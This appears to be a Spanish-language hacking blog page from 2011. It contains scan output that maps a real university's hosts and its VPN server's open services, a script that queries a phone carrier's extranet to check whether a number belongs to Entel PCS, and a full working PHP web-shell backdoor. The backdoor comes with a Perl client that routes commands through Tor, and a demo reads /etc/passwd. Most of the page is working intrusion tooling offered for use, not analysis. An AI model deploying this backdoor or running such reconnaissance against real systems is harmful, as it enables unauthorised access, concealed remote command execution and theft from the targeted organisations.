150.214.64.61	 [&gt;] hermes.ugr.es.
150.214.65.81	 [&gt;] scanner.ugr.es.
150.214.66.160	 [&gt;] general.ugr.es.
150.214.66.95	 [&gt;] servidor.ugr.es.
150.214.67.74	 [&gt;] pc12.ugr.es.
150.214.95.57	 [&gt;] desarrollo.ugr.es.
 
1. Servicios Todos los targets
2. Servicios Target especifico
3. Ver Targets
4. Salir
&gt;\ 2
[*] Ingrese IP: 150.214.205.1
[+] 1 .- NMAP NSE
[+] 2 .- NMAP DECOY
[+] 3 .- NMAP AGRESIVE
&gt;\ 1[/code]
 
[code]Starting Nmap 5.51 ( http://nmap.org ) at 2011-08-26 20:45 CLT
NSE: Loaded 166 scripts for scanning.
NSE: Starting runlevel 1 (of 3) scan.
NSE: Script Pre-scanning.
Initiating NSE at 20:45
Completed NSE at 20:45, 5.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
NSE: Starting runlevel 3 (of 3) scan.
Initiating Parallel DNS resolution of 1 host. at 20:45
Completed Parallel DNS resolution of 1 host. at 20:45, 1.49s elapsed
Initiating SYN Stealth Scan at 20:45
Scanning vpn0.ugr.es (150.214.205.1) [1000 ports]
Discovered open port 443/tcp on 150.214.205.1
Discovered open port 1723/tcp on 150.214.205.1
Discovered open port 3389/tcp on 150.214.205.1
Discovered open port 5900/tcp on 150.214.205.1
Discovered open port 80/tcp on 150.214.205.1
Discovered open port 53/tcp on 150.214.205.1
Discovered open port 21/tcp on 150.214.205.1
Discovered open port 2002/tcp on 150.214.205.1
Discovered open port 2001/tcp on 150.214.205.1
Discovered open port 1038/tcp on 150.214.205.1
Discovered open port 1035/tcp on 150.214.205.1
Discovered open port 2000/tcp on 150.214.205.1
Discovered open port 5800/tcp on 150.214.205.1
Discovered open port 1040/tcp on 150.214.205.1
Discovered open port 1031/tcp on 150.214.205.1
Discovered open port 1034/tcp on 150.214.205.1
Discovered open port 42/tcp on 150.214.205.1
Discovered open port 49/tcp on 150.214.205.1
Discovered open port 1032/tcp on 150.214.205.1
Discovered open port 3300/tcp on 150.214.205.1
Completed SYN Stealth Scan at 20:45, 16.98s elapsed (1000 total ports)
Initiating Service scan at 20:45
Scanning 20 services on vpn0.ugr.es (150.214.205.1)
 
NSE: Script scanning 150.214.205.1.
Initiating NSE at 21:10
Completed NSE at 21:10, 1.68s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Nmap scan report for vpn0.ugr.es (150.214.205.1)
Host is up (0.26s latency).
Scanned at 2011-08-26 20:45:37 CLT for 1475s
Not shown: 973 closed ports
PORT     STATE    SERVICE       VERSION
21/tcp   open     tcpwrapped
25/tcp   filtered smtp
42/tcp   open     wins          Microsoft Windows Wins
49/tcp   open     tcpwrapped
53/tcp   open     domain        Microsoft DNS
80/tcp   open     http          Microsoft IIS httpd 5.0
| http-brute:   
|_  ERROR: No path was specified (see http-brute.path)
|_citrix-brute-xml: FAILED: No domain specified (use ntdomain argument)
| http-form-brute:   
|_  ERROR: No uservar was specified (see http-form-brute.uservar)
|_http-malware-host: Host appears to be clean
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-iis-webdav-vuln: ERROR: This web server is not supported.
| http-title: Object moved
|_Did not follow redirect to https://vpn1.ugr.es
|_http-date: Fri, 26 Aug 2011 23:48:30 GMT; -59m38s from local time.
| http-headers: 
|   Server: Microsoft-IIS/5.0
|   Date: Fri, 26 Aug 2011 23:48:32 GMT
|   Connection: close
|   Location: https://vpn1.ugr.es
|   Content-Length: 140
|   Content-Type: text/html
|   Set-Cookie: ASPSESSIONIDQCTTDBCC=JMFFGNCBNKMNPFCAHIDOGPNG; path=/
|   Cache-control: private
|   
|_  (Request type: GET)
| http-vhosts: 
|_393 names had status 302
| http-domino-enum-passwords:   
|_  ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)
111/tcp  filtered rpcbind
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
179/tcp  filtered bgp
443/tcp  open     https?
| http-brute:   
|_  ERROR: No path was specified (see http-brute.path)
|_citrix-brute-xml: FAILED: No domain specified (use ntdomain argument)
|_ssl-cert: ERROR
|_http-iis-webdav-vuln: ERROR: This web server is not supported.
|_http-malware-host: Host appears to be clean
| http-form-brute:   
|_  ERROR: No uservar was specified (see http-form-brute.uservar)
| http-domino-enum-passwords:   
|_  ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)
445/tcp  filtered microsoft-ds
646/tcp  filtered ldp
1031/tcp open     msrpc         Microsoft Windows RPC
1032/tcp open     msrpc         Microsoft Windows RPC
1034/tcp open     mstask        Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
1035/tcp open     msrpc         Microsoft Windows RPC
1038/tcp open     mstask        Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
1040/tcp open     msrpc         Microsoft Windows RPC
1723/tcp open     pptp          Microsoft Windows NT (Firmware: 2195)
2000/tcp open     cisco-sccp?
2001/tcp open     dc?
2002/tcp open     http          Cisco Secure ACS web interface
| http-brute:   
|_  ERROR: No path was specified (see http-brute.path)
|_http-malware-host: Host appears to be clean
|_http-iis-webdav-vuln: ERROR: This web server is not supported.
| http-php-version: Logo query returned unknown hash 58bfc81e2df58e3afd8b1447193719c8
|_Credits query returned unknown hash 58bfc81e2df58e3afd8b1447193719c8
|_http-title: CiscoSecure ACS for Windows 2000/NT Login
| http-form-brute:   
|_  ERROR: No uservar was specified (see http-form-brute.uservar)
| http-headers: 
|   Content-Type: text/html
|   Content-length: 1117
|   
|_  (Request type: GET)
| http-domino-enum-passwords:   
|_  ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)
3300/tcp open     tcpwrapped
3389/tcp open     microsoft-rdp Microsoft Terminal Service
5800/tcp open     vnc-http      WinVNC 3.3.7 (Server: vpn1; Resolution 1024x800; VNC TCP port: 5900)
|_http-iis-webdav-vuln: ERROR: This web server is not supported.
|_http-malware-host: Host appears to be clean
| http-headers: 
|   
|_  (Request type: GET)
5900/tcp open     vnc           VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types:
|_    Unknown security type (33554432)
|_banner: RFB 003.003
Service Info: OS: Windows
 
Host script results:
|_path-mtu: PMTU == 1500
|_ipidseq: Unknown
| asn-query: 
| BGP: 150.214.0.0/16 | Country: EU
|   Origin AS: 766 - REDIRIS RedIRIS Autonomous System
|_    Peer AS: 1299 3356 3549 8928 20965
| qscan: 
| PORT  FAMILY  MEAN (us)  STDDEV    LOSS (%)
| 1     0       260021.20  10527.59  0.0%
| 21    0       258654.60  10282.26  0.0%
| 42    0       259339.70  13480.73  0.0%
| 49    0       257889.40  12137.87  0.0%
| 53    0       254152.30  10099.75  0.0%
| 80    0       256121.20  11584.36  0.0%
| 443   0       255434.00  11466.94  0.0%
| 1031  0       257928.10  17901.14  0.0%
|_1032  0       257543.40  11900.55  0.0%
 
NSE: Starting runlevel 1 (of 3) scan.
NSE: Starting runlevel 2 (of 3) scan.
NSE: Starting runlevel 3 (of 3) scan.
Read data files from: /usr/local/share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1483.86 seconds
           Raw packets sent: 1174 (57.480KB) | Rcvd: 1058 (43.048KB)

a simple vista se observa un posible vector de ataque:

TS Linea Roja

CODE: http://file.mitm.cl/lineaRoja.sh

Verificador Moviles ENTEL-PCS

August 9, 2011 · Posted in Codez Misc · Comment 

Mirando en mi home el monton de cosas que hay, pille un code que hize hace un tiempo, es uno de esos codes que pueden parecer inutiles, pero siempre sirven de algo.
La peticion de las consultas, se hacen extranet.entel.cl , en los dominios de entel hay cosas interesante, si buscan bien x) .

#!/usr/bin/python				  
'''
coded by p0fk! - MitM Labs .
Verificador de numero ENTEL PCS.CL
vie mar 11 00:21:58 CLST 2011
'''
 
import sys,os,urllib,urllib2,cookielib,re,thread,time
os.system('clear')
 
cookie_j 	  = cookielib.CookieJar()
status_cookie = 1
 
def hget(url):
    f = urllib2.urlopen(url)
    d = f.read()
    f.close()
    return d
 
def checkNum(url,numero):
	post_login= [
	('pcs', numero),
	('image.x', '0'),
	('image.y', '0')]
	form_login	= urllib.urlencode(post_login)
	cookie_h	= urllib2.HTTPCookieProcessor(cookie_j)  
	opener		= urllib2.build_opener(cookie_h)
	opener.addheaders = [
	('User-agent', 'endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)'),
	('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
	('Accept-Language', 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3'),
	('Accept-Encoding', 'gzip,deflate'),
	('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7'),
	('Keep-Alive', '115'),
	('Connection', 'keep-alive'),
	('Referer', 'http://extranet.entel.cl/index.jsp')	
	]
	site = opener.open(url, form_login).read()
	if re.search("Movil pertenece a Entel PCS",site):
		print "[+] Movil pertenece a Entel PCS\n"
 
	if re.search("Movil no pertenece a Entel PCS",site):
		print "[x] Movil no pertenece a Entel PCS\n"
 
print "[ Verificador de numero ]"
print "[ ENTEL PCS ]\n"
 
if len(sys.argv) == 2:
	matchObj = re.match( r'^[0-9]+$', sys.argv[1], re.M|re.I)
	if matchObj:
		print '[+] Numero: '+ sys.argv[1] + '\n',
		checkNum("http://extranet.entel.cl/index2.jsp", sys.argv[1])
	else:
		print '[x] No es un numero -.-"'
		exit(1)
else:
	print '[x] Debe ingresar numero movil\n',
	exit(1)
$ python entelVerifica.py 84775542
 
[ Verificador de numero ]
[ ENTEL PCS ]
 
[+] Numero: 84775542
[+] Movil pertenece a Entel PCS

FinishHiM!

backdoor shell PHP

July 20, 2011 · Posted in Pentest · Comment 

Este backdoor esta basada en “Emelco PHP Shell” escrita por seth.
Se compone de un cliente perl y la shell php, el cliente envia peticiones post con los comandos a ejecutar, las peticiones pasan desde tor proxy con una autentificacion User-Agent ( para que no cualquiera pueda ejecutar comandos ).

Para crear keys pueden usar urandom:

$ tr -dc [:alpha:] < /dev/urandom | head -c 45 && echo
AJwWfFmkTdHWEVjwLpkQXdksTzGpZycwLfadZEnxEeczc

shell script:

<?PHP
$k=""; // Key
if ( $_SERVER['HTTP_USER_AGENT'] == $k ) {
	if ( isset($_POST['asd']) ) {
	$cm = explode("\n",shell($_POST['asd'], false));
 
	for ( $x = 0; $x < count($cm); $x++ ) {
		echo "###".$cm[$x]."\n";
		}
	}
}
 
function shell($cmd, $array = true){
    if (!empty($cmd)){
        if (`echo a`){ $salida[]=(`$cmd`); $salida[]='Modo: `$cmd`';}
 
        elseif (shellpopen('echo a')){$salida[]=shellpopen($cmd); $salida[]='Modo: popen($cmd)';}
 
        elseif (shell_exec('echo a')){$salida[]=shell_exec($cmd); $salida[]='Modo: shell_exec($cmd)';}
 
        elseif (exec('echo a')){$salida[]=exec($cmd); $salida[]='Modo: exec($cmd)';}
 
        elseif (systemreturn('echo a')){$salida[]=systemreturn($cmd); $salida[]='Modo: system($cmd)';}
 
        elseif (passthrureturn('echo a')){$salida[]=passthrureturn($cmd); $salida[]='Modo: passthru($cmd)';}
 
        elseif (shellprocopen('echo a')){$salida[]=shellprocopen($cmd); $salida[]='Modo: proc_open($cmd)';}
 
        elseif (shellpcntl('echo a')){$salida[]=shellpcntl($cmd); $salida[]='Modo: pcntl_exec($cmd)';}
 
        if ($array){
            return $salida;
        }else{
            return $salida[0];
        }
    }else{
        return false;
    }
}
function shellpopen($cmd){
/* fuente: antichat webshell v1.3 */
  if($fp = popen($cmd,'r')){ 
    $result = '';
    while(!feof($fp)){$result.=fread($fp,1024);}
    pclose($fp);
 
    $ret = $result;
    $ret = convert_cyr_string($ret,'d','w');
    return $ret;
  }else{
    return false;
  }
}
function systemreturn($cmd){
    ob_flush();
    ob_start();
        system($cmd);
        $salida = ob_get_clean();
    ob_end_clean();
    return $salida;
}
function passthrureturn($cmd){
    ob_flush();
    ob_start();
        passthru($cmd);
        $salida = ob_get_clean();
    ob_end_clean();
    return $salida;
}
function shellprocopen($cmd){
    $descriptorspec = array(
       0 => array('pipe', 'r'), 
       1 => array('pipe', 'w'), 
       2 => array('pipe', 'w') 
    );
 
    $process = proc_open($cmd, $descriptorspec, $pipes);
 
    if (is_resource($process)) {    
        fclose($pipes[0]);
        $salida = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        $return_value = proc_close($process);
        return $salida;
    }else{
        return false;
    }
}
function shellpcntl($cmd){
    if(!function_exists('pcntl_exec')){
        return false;
    }
    $args = explode(' ',$cmd);
    $path = $args[0];
    unset($args[0]);
    if(pcntl_exec($path,$args)===false){
        return false;
    }else{
        return 'El comando fue ejecutado, pero no se pudo recuperar la salida';
    }
}
?>

cliente perl:

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request qw(post);
use strict;
 
my $target = "http://www.sitiotesting.com/script.php";
 
my ($whoami, $tmpcd, $key);
$key = ""; ## key
if ( &post_tor($target,"asd=whoami") =~ m!###(.*?)\n!ig ) {
	$whoami = $1;
}
 
 
while( 1 ) {
print "$whoami\$ ";
my ($content,$cmd);
$cmd = <STDIN>;
$content = &post_tor($target,"asd=".$cmd);
 
while ( $content =~ m!###(.*?)\n!ig ) {
		print "$1\n";
	}
}
 
sub post(){
my $url		= shift;
my $query	= shift;
my $navegador = new LWP::UserAgent;
$navegador -> agent ($key);
my $req = HTTP::Request -> new (POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($query);
my $respuesta = $navegador -> request ($req);
my $contenido = $respuesta ->as_string;
return $contenido;	
}
 
sub post_tor(){
my $url		= shift;
my $query	= shift;
my $navegador = new LWP::UserAgent;
$navegador->agent ($key);
$navegador->proxy([qw/ http https /] => 'socks://localhost:9050'); # Tor proxy
$navegador->cookie_jar({});
my $req = HTTP::Request -> new (POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($query);
my $respuesta = $navegador -> request ($req);
my $contenido = $respuesta ->as_string;
return $contenido;	
}

Demo:

$ perl cliente.pl
www-data$ cat /etc/passwd  
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
.....

LOGS:

38.99.170.107 target - [17/Jul/2011:14:37:50 -0400] "POST /script.php HTTP/1.1" 200 1285 "-"

shell torificada x)

Next Page »

Copyright © 2012 · Pentesting , Biohazard, Coding, Aliens, Mistica matrix … · Theme by New Dirt